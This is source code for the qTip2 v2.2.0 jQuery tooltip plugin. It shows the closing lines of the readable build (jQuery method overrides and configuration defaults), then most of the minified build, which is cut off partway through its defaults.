1855 // Grab all elements with an oldtitle set, and change it to regular title attribute, if keepData is false
1856 if(!keepData) {
1857 elems.filter('['+oldtitle+']').attr('title', function() {
1858 return $.attr(this, oldtitle);
1859 })
1860 .removeAttr(oldtitle);
1861 }
1862
1863 return elems;
1864 }
1865 }, function(name, func) {
1866 if(!func || $.fn[name+replaceSuffix]) { return TRUE; }
1867
1868 var old = $.fn[name+replaceSuffix] = $.fn[name];
1869 $.fn[name] = function() {
1870 return func.apply(this, arguments) || old.apply(this, arguments);
1871 };
1872 });
1873
1874 /* Fire off 'removeqtip' handler in $.cleanData if jQuery UI not present (it already does similar).
1875 * This snippet is taken directly from jQuery UI source code found here:
1876 * http://code.jquery.com/ui/jquery-ui-git.js
1877 */
1878 if(!$.ui) {
1879 $['cleanData'+replaceSuffix] = $.cleanData;
1880 $.cleanData = function( elems ) {
1881 for(var i = 0, elem; (elem = $( elems[i] )).length; i++) {
1882 if(elem.attr(ATTR_HAS)) {
1883 try { elem.triggerHandler('removeqtip'); }
1884 catch( e ) {}
1885 }
1886 }
1887 $['cleanData'+replaceSuffix].apply(this, arguments);
1888 };
1889 }
1890
1891 ;// qTip version
1892 QTIP.version = '2.2.0';
1893
1894 // Base ID for all qTips
1895 QTIP.nextid = 0;
1896
1897 // Inactive events array
1898 QTIP.inactiveEvents = INACTIVE_EVENTS;
1899
1900 // Base z-index for all qTips
1901 QTIP.zindex = 15000;
1902
1903 // Define configuration defaults
1904 QTIP.defaults = {
1905 prerender: FALSE,
1906 id: FALSE,
1907 overwrite: TRUE,
1908 suppress: TRUE,
1909 content: {
1910 text: TRUE,
1911 attr: 'title',
1912 title: FALSE,
1913 button: FALSE
1914 },
1915 position: {
1916 my: 'top left',
1917 at: 'bottom right',
1918 target: FALSE,
1919 container: FALSE,
1920 viewport: FALSE,
1921 adjust: {
1922 x: 0, y: 0,
1923 mouse: TRUE,
1924 scroll: TRUE,
1925 resize: TRUE,
1926 method: 'flipinvert flipinvert'
1927 },
1928 effect: function(api, pos, viewport) {
1929 $(this).animate(pos, {
1930 duration: 200,
1931 queue: FALSE
1932 });
1933 }
1934 },
1935 show: {
1936 target: FALSE,
1937 event: 'mouseenter',
1938 effect: TRUE,
1939 delay: 90,
1940 solo: FALSE,
1941 ready: FALSE,
1942 autofocus: FALSE
1943 },
1944 hide: {
1945 target: FALSE,
1946 event: 'mouseleave',
1947 effect: TRUE,
1948 delay: 0,
1949 fixed: FALSE,
1950 inactive: FALSE,
1951 leave: 'window',
1952 distance: FALSE
1953 },
1954 style: {
1955 classes: '',
1956 widget: FALSE,
1957 width: FALSE,
1958 height: FALSE,
1959 def: TRUE
1960 },
1961 events: {
1962 render: NULL,
1963 move: NULL,
1964 show: NULL,
1965 hide: NULL,
1966 toggle: NULL,
1967 visible: NULL,
1968 hidden: NULL,
1969 focus: NULL,
1970 blur: NULL
1971 }
1972 };
1973
1974 ;}));
1975 }( window, document ));
1976
1977
0 /* qTip2 v2.2.0 None | qtip2.com | Licensed MIT, GPL | Sat Mar 15 2014 08:21:22 */
1
2 !function(a,b,c){!function(a){"use strict";"function"==typeof define&&define.amd?define(["jquery"],a):jQuery&&!jQuery.fn.qtip&&a(jQuery)}(function(d){"use strict";function e(a,b,c,e){this.id=c,this.target=a,this.tooltip=A,this.elements={target:a},this._id=J+"-"+c,this.timers={img:{}},this.options=b,this.plugins={},this.cache={event:{},target:d(),disabled:z,attr:e,onTooltip:z,lastClass:""},this.rendered=this.destroyed=this.disabled=this.waiting=this.hiddenDuringWait=this.positioning=this.triggering=z}function f(a){return a===A||"object"!==d.type(a)}function g(a){return!(d.isFunction(a)||a&&a.attr||a.length||"object"===d.type(a)&&(a.jquery||a.then))}function h(a){var b,c,e,h;return f(a)?z:(f(a.metadata)&&(a.metadata={type:a.metadata}),"content"in a&&(b=a.content,f(b)||b.jquery||b.done?b=a.content={text:c=g(b)?z:b}:c=b.text,"ajax"in b&&(e=b.ajax,h=e&&e.once!==z,delete b.ajax,b.text=function(a,b){var f=c||d(this).attr(b.options.content.attr)||"Loading...",g=d.ajax(d.extend({},e,{context:b})).then(e.success,A,e.error).then(function(a){return a&&h&&b.set("content.text",a),a},function(a,c,d){b.destroyed||0===a.status||b.set("content.text",c+": "+d)});return h?f:(b.set("content.text",f),g)}),"title"in b&&(f(b.title)||(b.button=b.title.button,b.title=b.title.text),g(b.title||z)&&(b.title=z))),"position"in a&&f(a.position)&&(a.position={my:a.position,at:a.position}),"show"in a&&f(a.show)&&(a.show=a.show.jquery?{target:a.show}:a.show===y?{ready:y}:{event:a.show}),"hide"in a&&f(a.hide)&&(a.hide=a.hide.jquery?{target:a.hide}:{event:a.hide}),"style"in a&&f(a.style)&&(a.style={classes:a.style}),d.each(I,function(){this.sanitize&&this.sanitize(a)}),a)}function i(a,b){for(var c,d=0,e=a,f=b.split(".");e=e[f[d++]];)d<f.length&&(c=e);return[c||a,f.pop()]}function j(a,b){var c,d,e;for(c in this.checks)for(d in this.checks[c])(e=new RegExp(d,"i").exec(a))&&(b.push(e),("builtin"===c||this.plugins[c])&&this.checks[c][d].apply(this.plugins[c]||this,b))}function k(a){return M.concat("").join(a?"-"+a+" ":" ")}function l(c){return c&&{type:c.type,pageX:c.pageX,pageY:c.pageY,target:c.target,relatedTarget:c.relatedTarget,scrollX:c.scrollX||a.pageXOffset||b.body.scrollLeft||b.documentElement.scrollLeft,scrollY:c.scrollY||a.pageYOffset||b.body.scrollTop||b.documentElement.scrollTop}||{}}function m(a,b){return b>0?setTimeout(d.proxy(a,this),b):(a.call(this),void 0)}function n(a){return this.tooltip.hasClass(T)?z:(clearTimeout(this.timers.show),clearTimeout(this.timers.hide),this.timers.show=m.call(this,function(){this.toggle(y,a)},this.options.show.delay),void 0)}function o(a){if(this.tooltip.hasClass(T))return z;var b=d(a.relatedTarget),c=b.closest(N)[0]===this.tooltip[0],e=b[0]===this.options.show.target[0];if(clearTimeout(this.timers.show),clearTimeout(this.timers.hide),this!==b[0]&&"mouse"===this.options.position.target&&c||this.options.hide.fixed&&/mouse(out|leave|move)/.test(a.type)&&(c||e))try{a.preventDefault(),a.stopImmediatePropagation()}catch(f){}else this.timers.hide=m.call(this,function(){this.toggle(z,a)},this.options.hide.delay,this)}function p(a){return this.tooltip.hasClass(T)||!this.options.hide.inactive?z:(clearTimeout(this.timers.inactive),this.timers.inactive=m.call(this,function(){this.hide(a)},this.options.hide.inactive),void 0)}function q(a){this.rendered&&this.tooltip[0].offsetWidth>0&&this.reposition(a)}function r(a,c,e){d(b.body).delegate(a,(c.split?c:c.join($+" "))+$,function(){var a=t.api[d.attr(this,L)];a&&!a.disabled&&e.apply(a,arguments)})}function s(a,c,f){var g,i,j,k,l,m=d(b.body),n=a[0]===b?m:a,o=a.metadata?a.metadata(f.metadata):A,p="html5"===f.metadata.type&&o?o[f.metadata.name]:A,q=a.data(f.metadata.name||"qtipopts");try{q="string"==typeof q?d.parseJSON(q):q}catch(r){}if(k=d.extend(y,{},t.defaults,f,"object"==typeof q?h(q):A,h(p||o)),i=k.position,k.id=c,"boolean"==typeof k.content.text){if(j=a.attr(k.content.attr),k.content.attr===z||!j)return z;k.content.text=j}if(i.container.length||(i.container=m),i.target===z&&(i.target=n),k.show.target===z&&(k.show.target=n),k.show.solo===y&&(k.show.solo=i.container.closest("body")),k.hide.target===z&&(k.hide.target=n),k.position.viewport===y&&(k.position.viewport=i.container),i.container=i.container.eq(0),i.at=new v(i.at,y),i.my=new v(i.my),a.data(J))if(k.overwrite)a.qtip("destroy",!0);else if(k.overwrite===z)return z;return a.attr(K,c),k.suppress&&(l=a.attr("title"))&&a.removeAttr("title").attr(V,l).attr("title",""),g=new e(a,k,c,!!j),a.data(J,g),a.one("remove.qtip-"+c+" removeqtip.qtip-"+c,function(){var a;(a=d(this).data(J))&&a.destroy(!0)}),g}var t,u,v,w,x,y=!0,z=!1,A=null,B="x",C="y",D="top",E="left",F="bottom",G="right",H="center",I={},J="qtip",K="data-hasqtip",L="data-qtip-id",M=["ui-widget","ui-tooltip"],N="."+J,O="click dblclick mousedown mouseup mousemove mouseleave mouseenter".split(" "),P=J+"-fixed",Q=J+"-default",R=J+"-focus",S=J+"-hover",T=J+"-disabled",U="_replacedByqTip",V="oldtitle",W={ie:function(){for(var a=3,c=b.createElement("div");(c.innerHTML="<!--[if gt IE "+ ++a+"]><i></i><![endif]-->")&&c.getElementsByTagName("i")[0];);return a>4?a:0/0}(),iOS:parseFloat((""+(/CPU.*OS ([0-9_]{1,5})|(CPU like).*AppleWebKit.*Mobile/i.exec(navigator.userAgent)||[0,""])[1]).replace("undefined","3_2").replace("_",".").replace("_",""))||z};u=e.prototype,u._when=function(a){return d.when.apply(d,a)},u.render=function(a){if(this.rendered||this.destroyed)return this;var b,c=this,e=this.options,f=this.cache,g=this.elements,h=e.content.text,i=e.content.title,j=e.content.button,k=e.position,l=("."+this._id+" ",[]);return d.attr(this.target[0],"aria-describedby",this._id),this.tooltip=g.tooltip=b=d("<div/>",{id:this._id,"class":[J,Q,e.style.classes,J+"-pos-"+e.position.my.abbrev()].join(" "),width:e.style.width||"",height:e.style.height||"",tracking:"mouse"===k.target&&k.adjust.mouse,role:"alert","aria-live":"polite","aria-atomic":z,"aria-describedby":this._id+"-content","aria-hidden":y}).toggleClass(T,this.disabled).attr(L,this.id).data(J,this).appendTo(k.container).append(g.content=d("<div />",{"class":J+"-content",id:this._id+"-content","aria-atomic":y})),this.rendered=-1,this.positioning=y,i&&(this._createTitle(),d.isFunction(i)||l.push(this._updateTitle(i,z))),j&&this._createButton(),d.isFunction(h)||l.push(this._updateContent(h,z)),this.rendered=y,this._setWidget(),d.each(I,function(a){var b;"render"===this.initialize&&(b=this(c))&&(c.plugins[a]=b)}),this._unassignEvents(),this._assignEvents(),this._when(l).then(function(){c._trigger("render"),c.positioning=z,c.hiddenDuringWait||!e.show.ready&&!a||c.toggle(y,f.event,z),c.hiddenDuringWait=z}),t.api[this.id]=this,this},u.destroy=function(a){function b(){if(!this.destroyed){this.destroyed=y;var a=this.target,b=a.attr(V);this.rendered&&this.tooltip.stop(1,0).find("*").remove().end().remove(),d.each(this.plugins,function(){this.destroy&&this.destroy()}),clearTimeout(this.timers.show),clearTimeout(this.timers.hide),this._unassignEvents(),a.removeData(J).removeAttr(L).removeAttr(K).removeAttr("aria-describedby"),this.options.suppress&&b&&a.attr("title",b).removeAttr(V),this._unbind(a),this.options=this.elements=this.cache=this.timers=this.plugins=this.mouse=A,delete t.api[this.id]}}return this.destroyed?this.target:(a===y&&"hide"!==this.triggering||!this.rendered?b.call(this):(this.tooltip.one("tooltiphidden",d.proxy(b,this)),!this.triggering&&this.hide()),this.target)},w=u.checks={builtin:{"^id$":function(a,b,c,e){var f=c===y?t.nextid:c,g=J+"-"+f;f!==z&&f.length>0&&!d("#"+g).length?(this._id=g,this.rendered&&(this.tooltip[0].id=this._id,this.elements.content[0].id=this._id+"-content",this.elements.title[0].id=this._id+"-title")):a[b]=e},"^prerender":function(a,b,c){c&&!this.rendered&&this.render(this.options.show.ready)},"^content.text$":function(a,b,c){this._updateContent(c)},"^content.attr$":function(a,b,c,d){this.options.content.text===this.target.attr(d)&&this._updateContent(this.target.attr(c))},"^content.title$":function(a,b,c){return c?(c&&!this.elements.title&&this._createTitle(),this._updateTitle(c),void 0):this._removeTitle()},"^content.button$":function(a,b,c){this._updateButton(c)},"^content.title.(text|button)$":function(a,b,c){this.set("content."+b,c)},"^position.(my|at)$":function(a,b,c){"string"==typeof c&&(a[b]=new v(c,"at"===b))},"^position.container$":function(a,b,c){this.rendered&&this.tooltip.appendTo(c)},"^show.ready$":function(a,b,c){c&&(!this.rendered&&this.render(y)||this.toggle(y))},"^style.classes$":function(a,b,c,d){this.rendered&&this.tooltip.removeClass(d).addClass(c)},"^style.(width|height)":function(a,b,c){this.rendered&&this.tooltip.css(b,c)},"^style.widget|content.title":function(){this.rendered&&this._setWidget()},"^style.def":function(a,b,c){this.rendered&&this.tooltip.toggleClass(Q,!!c)},"^events.(render|show|move|hide|focus|blur)$":function(a,b,c){this.rendered&&this.tooltip[(d.isFunction(c)?"":"un")+"bind"]("tooltip"+b,c)},"^(show|hide|position).(event|target|fixed|inactive|leave|distance|viewport|adjust)":function(){if(this.rendered){var a=this.options.position;this.tooltip.attr("tracking","mouse"===a.target&&a.adjust.mouse),this._unassignEvents(),this._assignEvents()}}}},u.get=function(a){if(this.destroyed)return this;var b=i(this.options,a.toLowerCase()),c=b[0][b[1]];return c.precedance?c.string():c};var X=/^position\.(my|at|adjust|target|container|viewport)|style|content|show\.ready/i,Y=/^prerender|show\.ready/i;u.set=function(a,b){if(this.destroyed)return this;{var c,e=this.rendered,f=z,g=this.options;this.checks}return"string"==typeof a?(c=a,a={},a[c]=b):a=d.extend({},a),d.each(a,function(b,c){if(e&&Y.test(b))return delete a[b],void 0;var h,j=i(g,b.toLowerCase());h=j[0][j[1]],j[0][j[1]]=c&&c.nodeType?d(c):c,f=X.test(b)||f,a[b]=[j[0],j[1],c,h]}),h(g),this.positioning=y,d.each(a,d.proxy(j,this)),this.positioning=z,this.rendered&&this.tooltip[0].offsetWidth>0&&f&&this.reposition("mouse"===g.position.target?A:this.cache.event),this},u._update=function(a,b){var c=this,e=this.cache;return this.rendered&&a?(d.isFunction(a)&&(a=a.call(this.elements.target,e.event,this)||""),d.isFunction(a.then)?(e.waiting=y,a.then(function(a){return e.waiting=z,c._update(a,b)},A,function(a){return c._update(a,b)})):a===z||!a&&""!==a?z:(a.jquery&&a.length>0?b.empty().append(a.css({display:"block",visibility:"visible"})):b.html(a),this._waitForContent(b).then(function(a){a.images&&a.images.length&&c.rendered&&c.tooltip[0].offsetWidth>0&&c.reposition(e.event,!a.length)}))):z},u._waitForContent=function(a){var b=this.cache;return b.waiting=y,(d.fn.imagesLoaded?a.imagesLoaded():d.Deferred().resolve([])).done(function(){b.waiting=z}).promise()},u._updateContent=function(a,b){this._update(a,this.elements.content,b)},u._updateTitle=function(a,b){this._update(a,this.elements.title,b)===z&&this._removeTitle(z)},u._createTitle=function(){var a=this.elements,b=this._id+"-title";a.titlebar&&this._removeTitle(),a.titlebar=d("<div />",{"class":J+"-titlebar "+(this.options.style.widget?k("header"):"")}).append(a.title=d("<div />",{id:b,"class":J+"-title","aria-atomic":y})).insertBefore(a.content).delegate(".qtip-close","mousedown keydown mouseup keyup mouseout",function(a){d(this).toggleClass("ui-state-active ui-state-focus","down"===a.type.substr(-4))}).delegate(".qtip-close","mouseover mouseout",function(a){d(this).toggleClass("ui-state-hover","mouseover"===a.type)}),this.options.content.button&&this._createButton()},u._removeTitle=function(a){var b=this.elements;b.title&&(b.titlebar.remove(),b.titlebar=b.title=b.button=A,a!==z&&this.reposition())},u.reposition=function(c,e){if(!this.rendered||this.positioning||this.destroyed)return this;this.positioning=y;var f,g,h=this.cache,i=this.tooltip,j=this.options.position,k=j.target,l=j.my,m=j.at,n=j.viewport,o=j.container,p=j.adjust,q=p.method.split(" "),r=i.outerWidth(z),s=i.outerHeight(z),t=0,u=0,v=i.css("position"),w={left:0,top:0},x=i[0].offsetWidth>0,A=c&&"scroll"===c.type,B=d(a),C=o[0].ownerDocument,J=this.mouse;if(d.isArray(k)&&2===k.length)m={x:E,y:D},w={left:k[0],top:k[1]};else if("mouse"===k)m={x:E,y:D},!J||!J.pageX||!p.mouse&&c&&c.pageX?c&&c.pageX||((!p.mouse||this.options.show.distance)&&h.origin&&h.origin.pageX?c=h.origin:(!c||c&&("resize"===c.type||"scroll"===c.type))&&(c=h.event)):c=J,"static"!==v&&(w=o.offset()),C.body.offsetWidth!==(a.innerWidth||C.documentElement.clientWidth)&&(g=d(b.body).offset()),w={left:c.pageX-w.left+(g&&g.left||0),top:c.pageY-w.top+(g&&g.top||0)},p.mouse&&A&&J&&(w.left-=(J.scrollX||0)-B.scrollLeft(),w.top-=(J.scrollY||0)-B.scrollTop());else{if("event"===k?c&&c.target&&"scroll"!==c.type&&"resize"!==c.type?h.target=d(c.target):c.target||(h.target=this.elements.target):"event"!==k&&(h.target=d(k.jquery?k:this.elements.target)),k=h.target,k=d(k).eq(0),0===k.length)return this;k[0]===b||k[0]===a?(t=W.iOS?a.innerWidth:k.width(),u=W.iOS?a.innerHeight:k.height(),k[0]===a&&(w={top:(n||k).scrollTop(),left:(n||k).scrollLeft()})):I.imagemap&&k.is("area")?f=I.imagemap(this,k,m,I.viewport?q:z):I.svg&&k&&k[0].ownerSVGElement?f=I.svg(this,k,m,I.viewport?q:z):(t=k.outerWidth(z),u=k.outerHeight(z),w=k.offset()),f&&(t=f.width,u=f.height,g=f.offset,w=f.position),w=this.reposition.offset(k,w,o),(W.iOS>3.1&&W.iOS<4.1||W.iOS>=4.3&&W.iOS<4.33||!W.iOS&&"fixed"===v)&&(w.left-=B.scrollLeft(),w.top-=B.scrollTop()),(!f||f&&f.adjustable!==z)&&(w.left+=m.x===G?t:m.x===H?t/2:0,w.top+=m.y===F?u:m.y===H?u/2:0)}return w.left+=p.x+(l.x===G?-r:l.x===H?-r/2:0),w.top+=p.y+(l.y===F?-s:l.y===H?-s/2:0),I.viewport?(w.adjusted=I.viewport(this,w,j,t,u,r,s),g&&w.adjusted.left&&(w.left+=g.left),g&&w.adjusted.top&&(w.top+=g.top)):w.adjusted={left:0,top:0},this._trigger("move",[w,n.elem||n],c)?(delete w.adjusted,e===z||!x||isNaN(w.left)||isNaN(w.top)||"mouse"===k||!d.isFunction(j.effect)?i.css(w):d.isFunction(j.effect)&&(j.effect.call(i,this,d.extend({},w)),i.queue(function(a){d(this).css({opacity:"",height:""}),W.ie&&this.style.removeAttribute("filter"),a()})),this.positioning=z,this):this},u.reposition.offset=function(a,c,e){function f(a,b){c.left+=b*a.scrollLeft(),c.top+=b*a.scrollTop()}if(!e[0])return c;var g,h,i,j,k=d(a[0].ownerDocument),l=!!W.ie&&"CSS1Compat"!==b.compatMode,m=e[0];do"static"!==(h=d.css(m,"position"))&&("fixed"===h?(i=m.getBoundingClientRect(),f(k,-1)):(i=d(m).position(),i.left+=parseFloat(d.css(m,"borderLeftWidth"))||0,i.top+=parseFloat(d.css(m,"borderTopWidth"))||0),c.left-=i.left+(parseFloat(d.css(m,"marginLeft"))||0),c.top-=i.top+(parseFloat(d.css(m,"marginTop"))||0),g||"hidden"===(j=d.css(m,"overflow"))||"visible"===j||(g=d(m)));while(m=m.offsetParent);return g&&(g[0]!==k[0]||l)&&f(g,1),c};var Z=(v=u.reposition.Corner=function(a,b){a=(""+a).replace(/([A-Z])/," $1").replace(/middle/gi,H).toLowerCase(),this.x=(a.match(/left|right/i)||a.match(/center/)||["inherit"])[0].toLowerCase(),this.y=(a.match(/top|bottom|center/i)||["inherit"])[0].toLowerCase(),this.forceY=!!b;var c=a.charAt(0);this.precedance="t"===c||"b"===c?C:B}).prototype;Z.invert=function(a,b){this[a]=this[a]===E?G:this[a]===G?E:b||this[a]},Z.string=function(){var a=this.x,b=this.y;return a===b?a:this.precedance===C||this.forceY&&"center"!==b?b+" "+a:a+" "+b},Z.abbrev=function(){var a=this.string().split(" ");return a[0].charAt(0)+(a[1]&&a[1].charAt(0)||"")},Z.clone=function(){return new v(this.string(),this.forceY)},u.toggle=function(a,c){var e=this.cache,f=this.options,g=this.tooltip;if(c){if(/over|enter/.test(c.type)&&/out|leave/.test(e.event.type)&&f.show.target.add(c.target).length===f.show.target.length&&g.has(c.relatedTarget).length)return this;e.event=l(c)}if(this.waiting&&!a&&(this.hiddenDuringWait=y),!this.rendered)return a?this.render(1):this;if(this.destroyed||this.disabled)return this;var h,i,j,k=a?"show":"hide",m=this.options[k],n=(this.options[a?"hide":"show"],this.options.position),o=this.options.content,p=this.tooltip.css("width"),q=this.tooltip.is(":visible"),r=a||1===m.target.length,s=!c||m.target.length<2||e.target[0]===c.target;return(typeof a).search("boolean|number")&&(a=!q),h=!g.is(":animated")&&q===a&&s,i=h?A:!!this._trigger(k,[90]),this.destroyed?this:(i!==z&&a&&this.focus(c),!i||h?this:(d.attr(g[0],"aria-hidden",!a),a?(e.origin=l(this.mouse),d.isFunction(o.text)&&this._updateContent(o.text,z),d.isFunction(o.title)&&this._updateTitle(o.title,z),!x&&"mouse"===n.target&&n.adjust.mouse&&(d(b).bind("mousemove."+J,this._storeMouse),x=y),p||g.css("width",g.outerWidth(z)),this.reposition(c,arguments[2]),p||g.css("width",""),m.solo&&("string"==typeof m.solo?d(m.solo):d(N,m.solo)).not(g).not(m.target).qtip("hide",d.Event("tooltipsolo"))):(clearTimeout(this.timers.show),delete e.origin,x&&!d(N+'[tracking="true"]:visible',m.solo).not(g).length&&(d(b).unbind("mousemove."+J),x=z),this.blur(c)),j=d.proxy(function(){a?(W.ie&&g[0].style.removeAttribute("filter"),g.css("overflow",""),"string"==typeof m.autofocus&&d(this.options.show.autofocus,g).focus(),this.options.show.target.trigger("qtip-"+this.id+"-inactive")):g.css({display:"",visibility:"",opacity:"",left:"",top:""}),this._trigger(a?"visible":"hidden")},this),m.effect===z||r===z?(g[k](),j()):d.isFunction(m.effect)?(g.stop(1,1),m.effect.call(g,this),g.queue("fx",function(a){j(),a()})):g.fadeTo(90,a?1:0,j),a&&m.target.trigger("qtip-"+this.id+"-inactive"),this))},u.show=function(a){return this.toggle(y,a)},u.hide=function(a){return this.toggle(z,a)},u.focus=function(a){if(!this.rendered||this.destroyed)return this;var b=d(N),c=this.tooltip,e=parseInt(c[0].style.zIndex,10),f=t.zindex+b.length;return c.hasClass(R)||this._trigger("focus",[f],a)&&(e!==f&&(b.each(function(){this.style.zIndex>e&&(this.style.zIndex=this.style.zIndex-1)}),b.filter("."+R).qtip("blur",a)),c.addClass(R)[0].style.zIndex=f),this},u.blur=function(a){return!this.rendered||this.destroyed?this:(this.tooltip.removeClass(R),this._trigger("blur",[this.tooltip.css("zIndex")],a),this)},u.disable=function(a){return this.destroyed?this:("toggle"===a?a=!(this.rendered?this.tooltip.hasClass(T):this.disabled):"boolean"!=typeof a&&(a=y),this.rendered&&this.tooltip.toggleClass(T,a).attr("aria-disabled",a),this.disabled=!!a,this)},u.enable=function(){return this.disable(z)},u._createButton=function(){var a=this,b=this.elements,c=b.tooltip,e=this.options.content.button,f="string"==typeof e,g=f?e:"Close tooltip";b.button&&b.button.remove(),b.button=e.jquery?e:d("<a />",{"class":"qtip-close "+(this.options.style.widget?"":J+"-icon"),title:g,"aria-label":g}).prepend(d("<span />",{"class":"ui-icon ui-icon-close",html:"&times;"})),b.button.appendTo(b.titlebar||c).attr("role","button").click(function(b){return c.hasClass(T)||a.hide(b),z})},u._updateButton=function(a){if(!this.rendered)return z;var b=this.elements.button;a?this._createButton():b.remove()},u._setWidget=function(){var a=this.options.style.widget,b=this.elements,c=b.tooltip,d=c.hasClass(T);c.removeClass(T),T=a?"ui-state-disabled":"qtip-disabled",c.toggleClass(T,d),c.toggleClass("ui-helper-reset "+k(),a).toggleClass(Q,this.options.style.def&&!a),b.content&&b.content.toggleClass(k("content"),a),b.titlebar&&b.titlebar.toggleClass(k("header"),a),b.button&&b.button.toggleClass(J+"-icon",!a)},u._storeMouse=function(a){(this.mouse=l(a)).type="mousemove"},u._bind=function(a,b,c,e,f){var g="."+this._id+(e?"-"+e:"");b.length&&d(a).bind((b.split?b:b.join(g+" "))+g,d.proxy(c,f||this))},u._unbind=function(a,b){d(a).unbind("."+this._id+(b?"-"+b:""))};var $="."+J;d(function(){r(N,["mouseenter","mouseleave"],function(a){var b="mouseenter"===a.type,c=d(a.currentTarget),e=d(a.relatedTarget||a.target),f=this.options;b?(this.focus(a),c.hasClass(P)&&!c.hasClass(T)&&clearTimeout(this.timers.hide)):"mouse"===f.position.target&&f.hide.event&&f.show.target&&!e.closest(f.show.target[0]).length&&this.hide(a),c.toggleClass(S,b)}),r("["+L+"]",O,p)}),u._trigger=function(a,b,c){var e=d.Event("tooltip"+a);return e.originalEvent=c&&d.extend({},c)||this.cache.event||A,this.triggering=a,this.tooltip.trigger(e,[this].concat(b||[])),this.triggering=z,!e.isDefaultPrevented()},u._bindEvents=function(a,b,c,e,f,g){if(e.add(c).length===e.length){var h=[];b=d.map(b,function(b){var c=d.inArray(b,a);return c>-1?(h.push(a.splice(c,1)[0]),void 0):b}),h.length&&this._bind(c,h,function(a){var b=this.rendered?this.tooltip[0].offsetWidth>0:!1;(b?g:f).call(this,a)})}this._bind(c,a,f),this._bind(e,b,g)},u._assignInitialEvents=function(a){function b(a){return this.disabled||this.destroyed?z:(this.cache.event=l(a),this.cache.target=a?d(a.target):[c],clearTimeout(this.timers.show),this.timers.show=m.call(this,function(){this.render("object"==typeof a||e.show.ready)},e.show.delay),void 0)}var e=this.options,f=e.show.target,g=e.hide.target,h=e.show.event?d.trim(""+e.show.event).split(" "):[],i=e.hide.event?d.trim(""+e.hide.event).split(" "):[];/mouse(over|enter)/i.test(e.show.event)&&!/mouse(out|leave)/i.test(e.hide.event)&&i.push("mouseleave"),this._bind(f,"mousemove",function(a){this._storeMouse(a),this.cache.onTarget=y}),this._bindEvents(h,i,f,g,b,function(){clearTimeout(this.timers.show)}),(e.show.ready||e.prerender)&&b.call(this,a)},u._assignEvents=function(){var c=this,e=this.options,f=e.position,g=this.tooltip,h=e.show.target,i=e.hide.target,j=f.container,k=f.viewport,l=d(b),m=(d(b.body),d(a)),r=e.show.event?d.trim(""+e.show.event).split(" "):[],s=e.hide.event?d.trim(""+e.hide.event).split(" "):[];d.each(e.events,function(a,b){c._bind(g,"toggle"===a?["tooltipshow","tooltiphide"]:["tooltip"+a],b,null,g)}),/mouse(out|leave)/i.test(e.hide.event)&&"window"===e.hide.leave&&this._bind(l,["mouseout","blur"],function(a){/select|option/.test(a.target.nodeName)||a.relatedTarget||this.hide(a)}),e.hide.fixed?i=i.add(g.addClass(P)):/mouse(over|enter)/i.test(e.show.event)&&this._bind(i,"mouseleave",function(){clearTimeout(this.timers.show)}),(""+e.hide.event).indexOf("unfocus")>-1&&this._bind(j.closest("html"),["mousedown","touchstart"],function(a){var b=d(a.target),c=this.rendered&&!this.tooltip.hasClass(T)&&this.tooltip[0].offsetWidth>0,e=b.parents(N).filter(this.tooltip[0]).length>0;b[0]===this.target[0]||b[0]===this.tooltip[0]||e||this.target.has(b[0]).length||!c||this.hide(a)}),"number"==typeof e.hide.inactive&&(this._bind(h,"qtip-"+this.id+"-inactive",p),this._bind(i.add(g),t.inactiveEvents,p,"-inactive")),this._bindEvents(r,s,h,i,n,o),this._bind(h.add(g),"mousemove",function(a){if("number"==typeof e.hide.distance){var b=this.cache.origin||{},c=this.options.hide.distance,d=Math.abs;(d(a.pageX-b.pageX)>=c||d(a.pageY-b.pageY)>=c)&&this.hide(a)}this._storeMouse(a)}),"mouse"===f.target&&f.adjust.mouse&&(e.hide.event&&this._bind(h,["mouseenter","mouseleave"],function(a){this.cache.onTarget="mouseenter"===a.type}),this._bind(l,"mousemove",function(a){this.rendered&&this.cache.onTarget&&!this.tooltip.hasClass(T)&&this.tooltip[0].offsetWidth>0&&this.reposition(a)})),(f.adjust.resize||k.length)&&this._bind(d.event.special.resize?k:m,"resize",q),f.adjust.scroll&&this._bind(m.add(f.container),"scroll",q)},u._unassignEvents=function(){var c=[this.options.show.target[0],this.options.hide.target[0],this.rendered&&this.tooltip[0],this.options.position.container[0],this.options.position.viewport[0],this.options.position.container.closest("html")[0],a,b];this._unbind(d([]).pushStack(d.grep(c,function(a){return"object"==typeof a})))},t=d.fn.qtip=function(a,b,e){var f=(""+a).toLowerCase(),g=A,i=d.makeArray(arguments).slice(1),j=i[i.length-1],k=this[0]?d.data(this[0],J):A;return!arguments.length&&k||"api"===f?k:"string"==typeof a?(this.each(function(){var a=d.data(this,J);if(!a)return y;if(j&&j.timeStamp&&(a.cache.event=j),!b||"option"!==f&&"options"!==f)a[f]&&a[f].apply(a,i);else{if(e===c&&!d.isPlainObject(b))return g=a.get(b),z;a.set(b,e)}}),g!==A?g:this):"object"!=typeof a&&arguments.length?void 0:(k=h(d.extend(y,{},a)),this.each(function(a){var b,c;return c=d.isArray(k.id)?k.id[a]:k.id,c=!c||c===z||c.length<1||t.api[c]?t.nextid++:c,b=s(d(this),c,k),b===z?y:(t.api[c]=b,d.each(I,function(){"initialize"===this.initialize&&this(b)}),b._assignInitialEvents(j),void 0)}))},d.qtip=e,t.api={},d.each({attr:function(a,b){if(this.length){var c=this[0],e="title",f=d.data(c,"qtip");if(a===e&&f&&"object"==typeof f&&f.options.suppress)return arguments.length<2?d.attr(c,V):(f&&f.options.content.attr===e&&f.cache.attr&&f.set("content.text",b),this.attr(V,b))}return d.fn["attr"+U].apply(this,arguments)},clone:function(a){var b=(d([]),d.fn["clone"+U].apply(this,arguments));return a||b.filter("["+V+"]").attr("title",function(){return d.attr(this,V)}).removeAttr(V),b}},function(a,b){if(!b||d.fn[a+U])return y;var c=d.fn[a+U]=d.fn[a];d.fn[a]=function(){return b.apply(this,arguments)||c.apply(this,arguments)}}),d.ui||(d["cleanData"+U]=d.cleanData,d.cleanData=function(a){for(var b,c=0;(b=d(a[c])).length;c++)if(b.attr(K))try{b.triggerHandler("removeqtip")}catch(e){}d["cleanData"+U].apply(this,arguments)}),t.version="2.2.0",t.nextid=0,t.inactiveEvents=O,t.zindex=15e3,t.defaults={prerender:z,id:z,overwrite:y,suppress:y,content:{text:y,attr:"title",title:z,button:z},position:{my:"top left",at:"bottom right",target:z,container:z,viewport:z,adjust:{x:0,y:0,mouse:y,scroll:y,resize:y,method:"flipinvert 